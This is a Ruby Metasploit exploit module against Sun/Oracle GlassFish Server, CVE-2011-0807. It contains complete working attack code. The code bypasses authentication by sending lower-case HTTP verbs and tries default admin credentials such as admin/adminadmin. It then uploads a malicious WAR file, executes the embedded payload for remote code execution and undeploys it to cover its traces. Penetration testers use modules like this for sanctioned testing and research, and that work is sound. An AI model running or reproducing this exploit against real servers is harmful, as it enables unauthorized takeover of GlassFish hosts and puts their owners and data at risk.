## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'nokogiri' require 'metasploit/framework/login_scanner/glassfish' require 'metasploit/framework/credential_collection' class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::EXE include Msf::Auxiliary::Report def initialize(info = {}) super( update_info( info, 'Name' => "Sun/Oracle GlassFish Server Authenticated Code Execution", 'Description' => %q{ This module logs in to a GlassFish Server (Open Source or Commercial) using various methods (such as authentication bypass, default credentials, or user-supplied login), and deploys a malicious war file in order to get remote code execution. It has been tested on Glassfish 2.x, 3.0, 4.0 and Sun Java System Application Server 9.x. Newer GlassFish versions do not allow remote access (Secure Admin) by default, but is required for exploitation. }, 'License' => MSF_LICENSE, 'Author' => [ 'juan vazquez', # Msf module for Glassfish 3.0 'Joshua Abraham ', # Glassfish 3.1, 2.x & Sun Java System Application Server 9.1 'sinn3r' # Rewrite for everything ], 'References' => [ ['CVE', '2011-0807'], ['OSVDB', '71948'], ['ATT&CK', Mitre::Attack::Technique::T1021_REMOTE_SERVICES] ], 'Platform' => ['win', 'linux', 'java'], 'Targets' => [ [ 'Automatic', {} ], [ 'Java Universal', { 'Arch' => ARCH_JAVA, 'Platform' => 'java' } ], [ 'Windows Universal', { 'Arch' => ARCH_X86, 'Platform' => 'win' } ], [ 'Linux Universal', { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ] ], 'DisclosureDate' => '2011-08-04', 'DefaultTarget' => 0, 'Notes' => { 'Reliability' => UNKNOWN_RELIABILITY, 'Stability' => UNKNOWN_STABILITY, 'SideEffects' => UNKNOWN_SIDE_EFFECTS } ) ) register_options( [ Opt::RPORT(4848), OptString.new('APP_RPORT', [ true, 'The Application interface port', '8080']), OptString.new('USERNAME', [ true, 'The username to authenticate as', 'admin' ]), OptString.new('PASSWORD', [ true, 'The password for the specified username', '' ]), OptString.new('TARGETURI', [ true, "The URI path of the GlassFish Server", '/']), OptBool.new('SSL', [ false, 'Negotiate SSL for outgoing connections', false]) ] ) end # # Send GET or POST request, and return the response # def send_glassfish_request(path, method, session = '', data = nil, ctype = nil) headers = {} headers['Cookie'] = "JSESSIONID=#{session}" unless session.blank? headers['Content-Type'] = ctype if ctype headers['Connection'] = 'keep-alive' headers['Accept'] = 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8' headers['Accept-Language'] = 'en-US,en;q=0.5' headers['Accept-Encoding'] = 'gzip, deflate, br' res = send_request_raw({ 'uri' => path, 'method' => method, 'data' => data, 'headers' => headers, }) unless res fail_with(Failure::Unknown, 'Connection timed out') end res end # # Return target # def auto_target(session, res, version) print_status("Attempting to automatically select a target...") res = query_serverinfo(session, version) return nil unless res return nil unless res.body plat = detect_platform(res.body) arch = detect_arch(res.body) # No arch or platform found? return nil if !arch || !plat # see if we have a match targets.each do |t| return t if (t['Platform'] == plat) && (t['Arch'] == arch) end # no matching target found nil end # # Return platform (win, linux, or osx) # def detect_platform(body) body.each_line do |ln| ln.chomp! case ln when /os\.name = (.*)/ os = $1 case os when /Windows/ return 'win' when /Linux/ return 'linux' when /Mac OS X/ return 'osx' end end end return 'java' end # # Return ARCH # def detect_arch(body) body.each_line do |ln| ln.chomp! case ln when /os\.arch = (.*)/ ar = $1 case ar when 'x86', 'i386', 'i686' return ARCH_X86 when 'x86_64', 'amd64' return ARCH_X64 end end end end # # Return server information # def query_serverinfo(session, version) res = '' if version == '2.x' || version == '9.x' path = "/appServer/jvmReport.jsf?instanceName=server&pageTitle=JVM%20Report" res = send_glassfish_request(path, @verbs['GET'], session) else path = "/common/appServer/jvmReport.jsf?pageTitle=JVM%20Report" res = send_glassfish_request(path, @verbs['GET'], session) if !res || res.code != 200 || res.body.to_s !~ /Operating System Information/ path = "/common/appServer/jvmReport.jsf?reportType=summary&instanceName=server" res = send_glassfish_request(path, @verbs['GET'], session) end end if !res || res.code != 200 print_error("Failed: Error requesting #{path}") return nil end res end # # Return viewstate and entry before deleting a GlassFish application # def get_delete_info(session, version, app = '') if version == '2.x' || version == '9.x' path = '/applications/webApplications.jsf' res = send_glassfish_request(path, @verbs['GET'], session) if !res || res.code != 200 print_error("Failed (#{res.code.to_s}): Error requesting #{path}") return nil end input_id = "javax.faces.ViewState" p = /input type="hidden" name="#{input_id}" id="#{input_id}" value="(j_id\d+:j_id\d+)"/ viewstate = res.body.scan(p)[0][0] entry = nil p = // results = res.body.scan(p) results.each do |hit| if hit[1] =~ /^#{app}/ entry = hit[0] entry << "col0:select" end end else path = '/common/applications/applications.jsf?bare=true' res = send_glassfish_request(path, @verbs['GET'], session) if !res || res.code != 200 print_error("Failed (#{res.code.to_s}): Error requesting #{path}") return nil end viewstate = get_viewstate(res.body) entry = nil p = // results = res.body.scan(p) results.each do |hit| if hit[1] =~ /^#{app}/ entry = hit[0] entry << "col0:select" end end end if !viewstate print_error("Failed: Error getting ViewState") return nil elsif !entry print_error("Failed: Error getting the entry to delete") end return viewstate, entry end # # Send an "undeploy" request to Glassfish and remove our backdoor # def undeploy(viewstate, session, entry) # Send undeployment request data = [ "propertyForm%3AdeployTable%3AtopActionsGroup1%3Afilter_list=", "&propertyForm%3AdeployTable%3AtopActionsGroup1%3Afilter_submitter=false", "&#{Rex::Text.uri_encode(entry)}=true", "&propertyForm%3AhelpKey=ref-applications.html", "&propertyForm_hidden=propertyForm_hidden", "&javax.faces.ViewState=#{Rex::Text.uri_encode(viewstate)}", "&com_sun_webui_util_FocusManager_focusElementId=propertyForm%3AdeployTable%3AtopActionsGroup1%3Abutton1", "&javax.faces.source=propertyForm%3AdeployTable%3AtopActionsGroup1%3Abutton1", "&javax.faces.partial.execute=%40all", "&javax.faces.partial.render=%40all", "&bare=true", "&propertyForm%3AdeployTable%3AtopActionsGroup1%3Abutton1=propertyForm%3AdeployTable%3AtopActionsGroup1%3Abutton1", "&javax.faces.partial.ajax=true" ].join() path = '/common/applications/applications.jsf' ctype = 'application/x-www-form-urlencoded' res = send_glassfish_request(path, @verbs['POST'], session, data, ctype) if !res print_error("Undeployment failed on #{path} - No Response") else if res.code < 200 || res.code >= 300 print_error("Undeployment failed on #{path} - #{res.code.to_s}:#{res.message.to_s}") end end end def report_glassfish_version(banner) report_note( host: rhost, type: 'glassfish.banner', data: { :banner => banner }, update: :unique_data ) end # # Return GlassFish's edition (Open Source or Commercial) and version (2.x, 3.0, 3.1, 9.x) and # banner (ex: Sun Java System Application Server 9.x) # def get_version(res) # Extract banner from response banner = res.headers['Server'] # Default value for edition and glassfish version edition = 'Commercial' version = 'Unknown' # Set edition (Open Source or Commercial) p = /(Open Source|Sun GlassFish Enterprise Server|Sun Java System Application Server)/ edition = 'Open Source' if banner =~ p # Set version. Some GlassFish servers return banner "GlassFish v3". if banner =~ /(GlassFish Server|Open Source Edition) {1,}(\d\.\d)/ version = $2 elsif banner =~ /GlassFish v(\d)/ && version == 'Unknown' version = $1 elsif banner =~ /Sun GlassFish Enterprise Server v2/ && version == 'Unknown' version = '2.x' elsif banner =~ /Sun Java System Application Server 9/ && version == 'Unknown' version = '9.x' end if version == nil || version == 'Unknown' print_status("Unsupported version: #{banner}") end report_glassfish_version(banner) return edition, version, banner end # # Return the formatted version of the POST data # def format_2_x_war(boundary, name, value = nil, war = nil) data = '' data << boundary data << "\r\nContent-Disposition: form-data; name=\"form:title:sheet1:section1:prop1:fileupload\"; " data << "filename=\"#{name}.war\"\r\nContent-Type: application/octet-stream\r\n\r\n" data << war data << "\r\n" return data end # # Return the formatted version of the POST data # def format(boundary, name, value = nil, war = nil) data = '' if war data << boundary data << "\r\nContent-Disposition: form-data; name=\"form:sheet1:section1:prop1:fileupload\"; " data << "filename=\"#{name}.war\"\r\nContent-Type: application/octet-stream\r\n\r\n" data << war data << "\r\n" else data << boundary data << "\r\nContent-Disposition: form-data; name=\"#{name}\"" data << "\r\n\r\n" data << "#{value}\r\n" end return data end # # Return POST data and data length, based on GlassFish edition # def get_upload_data(opts = {}) boundary = opts[:boundary] version = opts[:version] war = opts[:war] app_base = opts[:app_base] typefield = opts[:typefield] status_checkbox = opts[:status_checkbox] start = opts[:start] viewstate = opts[:viewstate] data = '' if version == '3.0' uploadParam_name = "form:sheet1:section1:prop1:fileupload_com.sun.webui.jsf.uploadParam" uploadparam_data = "form:sheet1:section1:prop1:fileupload" boundary = "--#{boundary}" data = [ format(boundary, app_base, nil, war), format(boundary, uploadParam_name, uploadparam_data), format(boundary, "form:sheet1:section1:prop1:extension", ".war"), format(boundary, "form:sheet1:section1:prop1:action", "client"), format(boundary, typefield, "war"), format(boundary, "form:war:psection:cxp:ctx", app_base), format(boundary, "form:war:psection:nameProp:appName", app_base), format(boundary, "form:war:psection:vsProp:vs", ""), format(boundary, status_checkbox, "true"), format(boundary, "form:war:psection:librariesProp:library", ""), format(boundary, "form:war:psection:descriptionProp:description", ""), format(boundary, "form_hidden", "form_hidden"), format(boundary, "javax.faces.ViewState", viewstate), "#{boundary}--" ].join() elsif version == '2.x' || version == '9.x' uploadParam_name = "form:title:sheet1:section1:prop1:fileupload_com.sun.webui.jsf.uploadParam" uploadParam_data = "form:title:sheet1:section1:prop1:fileupload" focusElementId_name = "com_sun_webui_util_FocusManager_focusElementId" focusElementId_data = 'form:title:topButtons:uploadButton' boundary = "-----------------------------#{boundary}" data = [ format_2_x_war(boundary, app_base, nil, war), format(boundary, "form:title:sheet1:section1:type:appType", "webApp"), format(boundary, "uploadRdBtn", "client"), format(boundary, uploadParam_name, uploadParam_data), format(boundary, "form:title:sheet1:section1:prop1:extension", ".war"), format(boundary, "form:title:ps:psec:nameProp:appName", app_base), format(boundary, "form:title:ps:psec:cxp:ctx", app_base), format(boundary, "form:title:ps:psec:vsp:vs", ""), format(boundary, status_checkbox, "true"), format(boundary, "form:title:ps:psec:librariesProp:library", ""), format(boundary, "form:title:ps:psec:threadpoolProp:threadPool", ""), format(boundary, "form:title:ps:psec:registryProp:registryType", ""), format(boundary, "form:title:ps:psec:descriptionProp:description", ""), format(boundary, "form:helpKey", "uploaddev.html"), format(boundary, "form_hidden", "form_hidden"), format(boundary, "javax.faces.ViewState", viewstate), format(boundary, focusElementId_name, focusElementId_data), "#{boundary}--" ].join() else boundary = "-----------------------------#{boundary}" # Setup dynamic arguments num1 = start.to_i num2 = num1 + 14 num3 = num2 + 2 num4 = num3 + 2 num5 = num4 + 2 num6 = num5 + 2 num7 = num6 + 1 id0 = num4 id1 = num4 + 1 id2 = num4 + 2 id3 = num4 + 3 id4 = num4 + 4 id5 = num4 + 5 id6 = num4 + 6 id7 = num4 + 7 id8 = num4 + 8 id9 = num4 + 9 uploadParam_name = "form:sheet1:section1:prop1:fileupload_com.sun.webui.jsf.uploadParam" uploadParam_value = "form:sheet1:section1:prop1:fileupload" focusElementId_name = "com_sun_webui_util_FocusManager_focusElementId" focusElementId_data = "form:title2:bottomButtons:uploadButton" data = [ format(boundary, "uploadRdBtn", "client"), ## web service format(boundary, app_base, nil, war), ## sheet1 format(boundary, uploadParam_name, uploadParam_value), format(boundary, "form:sheet1:section1:prop1:extension", ".war"), format(boundary, "form:sheet1:section1:prop1:action", "client"), format(boundary, "form:sheet1:sun_propertySheetSection#{num1.to_s}:type:appType", "war"), format(boundary, "form:appClient:psection:nameProp:appName", "#{app_base}"), format(boundary, "form:appClient:psection:descriptionProp:description"), ## war format(boundary, "form:war:psection:cxp:ctx", "#{app_base}"), format(boundary, "form:war:psection:nameProp:appName", "#{app_base}"), format(boundary, "form:war:psection:vsProp:vs"), format(boundary, "form:war:psection:enableProp:sun_checkbox" + id1.to_s, "true"), format(boundary, "form:war:psection:enableProp:sun_checkbox" + id2.to_s, "true"), format(boundary, "form:war:psection:enableProp:sun_checkbox" + id3.to_s, "true"), format(boundary, "form:war:psection:enableProp:sun_checkbox" + id4.to_s, "true"), format(boundary, "form:war:psection:enableProp:sun_checkbox" + id5.to_s, "true"), format(boundary, "form:war:psection:enableProp:sun_checkbox" + id6.to_s, "true"), format(boundary, "form:war:psection:enableProp:sun_checkbox" + id7.to_s, "true"), format(boundary, "form:war:psection:enableProp:sun_checkbox" + id8.to_s, "true"), format(boundary, "form:war:psection:enableProp:sun_checkbox" + id9.to_s, "true"), format(boundary, "form:other:psection:descriptionProp:description", ""), format(boundary, "form:other:psection:librariesProp:library", ""), format(boundary, "form:other:psection:deploymentOrder:deploymentOrder", ""), format(boundary, "form:other:psection:implicitCdi:implicitCdi", "true"), format(boundary, "form:other:psection:enableProp:sun_checkbox44", "true"), format(boundary, "form:war:psection:enableProp:sun_checkbox42", "true"), format(boundary, "form:other:psection:vsProp:vs", ""), format(boundary, "form:rar:psection:implicitCdi:implicitCdi", "true"), format(boundary, "form:rar:psection:deploymentOrder:deploymentOrder", ""), format(boundary, "form:rar:psection:enableProp:sun_checkbox40", "true"), format(boundary, "form:other:psection:nameProp:appName", app_base), format(boundary, "form:rar:psection:nameProp:appName", app_base), format(boundary, "form:jar:psection:nameProp:appName", app_base), format(boundary, "form:ear:psection:nameProp:appName", app_base), format(boundary, "form:ear:psection:descriptionProp:description", ""), format(boundary, "form:jar:psection:deploymentOrder:deploymentOrder", ""), format(boundary, "form:jar:psection:implicitCdi:implicitCdi", "true"), format(boundary, "form:ear:psection:jw:jwc", "true"), format(boundary, "form:ear:psection:vsProp:vs", ""), format(boundary, "form:appClient:psection:deploymentOrder:deploymentOrder", ""), format(boundary, "form:jar:psection:enableProp:sun_checkbox38", "true"), format(boundary, "form:jar:psection:descriptionProp:description", ""), format(boundary, "form:ear:psection:implicitCdi:implicitCdi", "true"), format(boundary, "form:appClient:psection:implicitCdi:implicitCdi", "true"), format(boundary, "form:ear:psection:enableProp:sun_checkbox36", "true"), format(boundary, "form:war:psection:deploymentOrder:deploymentOrder", ""), format(boundary, "form:jar:psection:librariesProp:library", ""), format(boundary, "form:appClient:psection:jw:jwt", "true"), format(boundary, "form:ear:psection:librariesProp:library", ""), format(boundary, "form:sheet1:sun_propertySheetSection23:type:appType", "war"), format(boundary, "form:ear:psection:deploymentOrder:deploymentOrder", ""), format(boundary, "form:rar:psection:descriptionProp:description", ""), format(boundary, "form:war:psection:implicitCdi:implicitCdi", "true"), format(boundary, "form:war:psection:librariesProp:library"), format(boundary, "form:war:psection:descriptionProp:description"), format(boundary, "form_hidden", "form_hidden"), format(boundary, "javax.faces.ViewState", "#{viewstate}"), format(boundary, focusElementId_name, focusElementId_data) ].join() item_list_name = "form:targetSection:targetSectionId:addRemoveProp:commonAddRemove_item_list" item_list_data = "|server|com.sun.webui.jsf.separator|" item_value_name = "form:targetSection:targetSectionId:addRemoveProp:commonAddRemove_list_value" item_value_data = "server" data << format(boundary, item_list_name, item_list_data) data << format(boundary, item_value_name, item_value_data) data << "#{boundary}--" data << "\r\n\r\n" end return data end def get_viewstate(body) noko = Nokogiri::HTML(body) inputs = noko.search('input') hidden_inputs = [] inputs.each { |e| hidden_inputs << e if e.attributes['type'].text == 'hidden' } hidden_inputs.each do |e| if e.attributes['name'].text == 'javax.faces.ViewState' return e.attributes['value'].text end end '' end # # Upload our payload, and execute it. This function will also try to automatically # clean up after itself. # def upload_exec(opts = {}) session = opts[:session] app_base = opts[:app_base] jsp_name = opts[:jsp_name] war = opts[:war] edition = opts[:edition] version = opts[:version] if version == '2.x' || version == '9.x' path = "/applications/upload.jsf?appType=webApp" res = send_glassfish_request(path, @verbs['GET'], session) # Obtain some properties p2 = /input type="checkbox" id="form:title:ps:psec:enableProp:sun_checkbox\d+" name="(.*)" checked/mi viewstate = get_viewstate(res.body) status_checkbox = res.body.scan(p2)[0][0] boundary = rand_text_alphanumeric(28) else path = "/common/applications/uploadFrame.jsf" res = send_glassfish_request(path, @verbs['GET'], session) # Obtain some properties res.body =~ /propertySheetSection(\d{3})/ start = $1 p2 = /select class="MnuStd_sun4" id="form:sheet1:sun_propertySheetSection.*:type:appType" name="(.*)" size/ p3 = /input type="checkbox" id="form:war:psection:enableProp:sun_checkbox.*" name="(.*)" checked/ rnd_text = rand_text_alphanumeric(29) viewstate = get_viewstate(res.body) typefield = res.body.scan(p2)[0][0] status_checkbox = res.body.scan(p3)[0][0] boundary = (edition == 'Open Source') ? rnd_text[0, 15] : rnd_text end # Get upload data if version == '3.0' ctype = "multipart/form-data; boundary=#{boundary}" elsif version == '2.x' || version == '9.x' ctype = "multipart/form-data; boundary=---------------------------#{boundary}" typefield = '' start = '' else ctype = "multipart/form-data; boundary=---------------------------#{boundary}" end post_data = get_upload_data({ :boundary => boundary, :version => version, :war => war, :app_base => app_base, :typefield => typefield, :status_checkbox => status_checkbox, :start => start, :viewstate => viewstate }) # Upload our payload if version == '2.x' || version == '9.x' path = '/applications/upload.jsf?form:title:topButtons:uploadButton=%20%20OK%20%20' else path = '/common/applications/uploadFrame.jsf?' path << 'form:title:topButtons:uploadButton=Processing...' path << '&bare=false' end res = send_glassfish_request(path, @verbs['POST'], session, post_data, ctype) # Print upload result if res && res.code == 302 print_good("Successfully Uploaded") else print_error("Error uploading #{res.code}") return end # Execute our payload using the application interface (no need to use auth bypass technique) jsp_path = normalize_uri(target_uri.path, app_base, "#{jsp_name}.jsp") nclient = Rex::Proto::Http::Client.new(datastore['RHOST'], datastore['APP_RPORT'], { 'Msf' => framework, 'MsfExploit' => self, }) print_status("Executing #{jsp_path}...") req = nclient.request_raw({ 'uri' => jsp_path, 'method' => 'GET', }) if req res = nclient.send_recv(req, 90) else print_status("Error: #{rhost} did not respond on #{app_rport}.") end # Sleep for a bit before cleanup select(nil, nil, nil, 5) # Start undeploying print_status("Getting information to undeploy...") viewstate, entry = get_delete_info(session, version, app_base) if !viewstate fail_with(Failure::Unknown, "Unable to get viewstate") elsif (not entry) fail_with(Failure::Unknown, "Unable to get entry") end print_status("Undeploying #{app_base}...") undeploy(viewstate, session, entry) print_status("Undeployment complete.") end def init_loginscanner @cred_collection = Metasploit::Framework::CredentialCollection.new @scanner = Metasploit::Framework::LoginScanner::Glassfish.new( configure_http_login_scanner( cred_details: @cred_collection, connection_timeout: 5, http_username: datastore['HttpUsername'], http_password: datastore['HttpPassword'] ) ) end def report_auth_bypass(version) report_vuln( name: 'GlassFish HTTP Method Authentication Bypass', info: "The remote service has a vulnerable version of GlassFish (#{version}) that allows the " \ 'attacker to bypass authentication by sending an HTTP verb in lower-case.', host: rhost, port: rport, proto: 'tcp', refs: self.references ) end def try_glassfish_auth_bypass(version) sid = nil if version == '2.x' || version == '9.x' print_status("Trying auth bypass...") res = send_glassfish_request('/applications/upload.jsf', 'get') title = 'Deploy Enterprise Applications/Modules' if res && res.code.to_i == 200 && res.body.include?(title) sid = res.get_cookies.to_s.scan(/JSESSIONID=(.*); */).flatten.first end else # 3.0 print_status("Trying auth bypass...") res = send_glassfish_request('/common/applications/uploadFrame.jsf', 'get') title = 'Deploy Applications or Modules' if res && res.code.to_i == 200 && res.body.include?(title) sid = res.get_cookies.to_s.scan(/JSESSIONID=(.*); */).flatten.first end end report_auth_bypass(version) if sid sid end def my_target_host "http://#{rhost.to_s}:#{rport.to_s}#{normalize_uri(target_uri.path)}" end def service_details super.merge({ post_reference_name: self.refname }) end def try_normal_login(version) init_loginscanner case version when /2\.x|9\.x/ @cred_collection.prepend_cred( Metasploit::Framework::Credential.new( public: 'admin', private: 'adminadmin', private_type: :password ) ) when /^3\./ @cred_collection.prepend_cred( Metasploit::Framework::Credential.new( public: 'admin', private: '', private_type: :password ) ) end @cred_collection.prepend_cred( Metasploit::Framework::Credential.new( public: datastore['USERNAME'], private: datastore['PASSWORD'], private_type: :password ) ) @scanner.send_request({ 'uri' => normalize_uri(target_uri.path) }) @scanner.version = version @cred_collection.each do |raw| cred = raw.to_credential print_status("Trying to login as #{cred.public}:#{cred.private}") result = @scanner.attempt_login(cred) if result.status == Metasploit::Model::Login::Status::SUCCESSFUL store_valid_credential(user: cred.public, private: cred.private) # changes service_name to http || https return @scanner.jsession end end nil end def attempt_login(version) sid = nil if version =~ /3\.0|2\.x|9\.x/ sid = try_glassfish_auth_bypass(version) return sid if sid end try_normal_login(version) end def make_war(selected_target) p = exploit_regenerate_payload(selected_target.platform, selected_target.arch) jsp_name = rand_text_alphanumeric(4 + rand(32 - 4)) app_base = rand_text_alphanumeric(4 + rand(32 - 4)) war = p.encoded_war({ :app_name => app_base, :jsp_name => jsp_name, :arch => selected_target.arch, :platform => selected_target.platform }).to_s return app_base, jsp_name, war end def exploit # Invoke index to gather some info res = send_glassfish_request('/common/index.jsf', 'GET') if res.code == 302 res = send_glassfish_request('/login.jsf', 'GET') end # Get GlassFish version edition, version, banner = get_version(res) print_status("Glassfish edition: #{banner}") # Set HTTP verbs. Lower-case is used to bypass auth on v3.0 @verbs = { 'GET' => (version == '3.0' || version == '2.x' || version == '9.x') ? 'get' : 'GET', 'POST' => (version == '3.0' || version == '2.x' || version == '9.x') ? 'post' : 'POST', } sid = attempt_login(version) unless sid fail_with(Failure::NoAccess, "#{my_target_host()} - GlassFish - Failed to authenticate") end selected_target = target.name =~ /Automatic/ ? auto_target(sid, res, version) : target fail_with(Failure::NoTarget, "Unable to automatically select a target") unless selected_target app_base, jsp_name, war = make_war(selected_target) print_status("Uploading payload...") res = upload_exec({ :session => sid, :app_base => app_base, :jsp_name => jsp_name, :war => war, :edition => edition, :version => version }) end end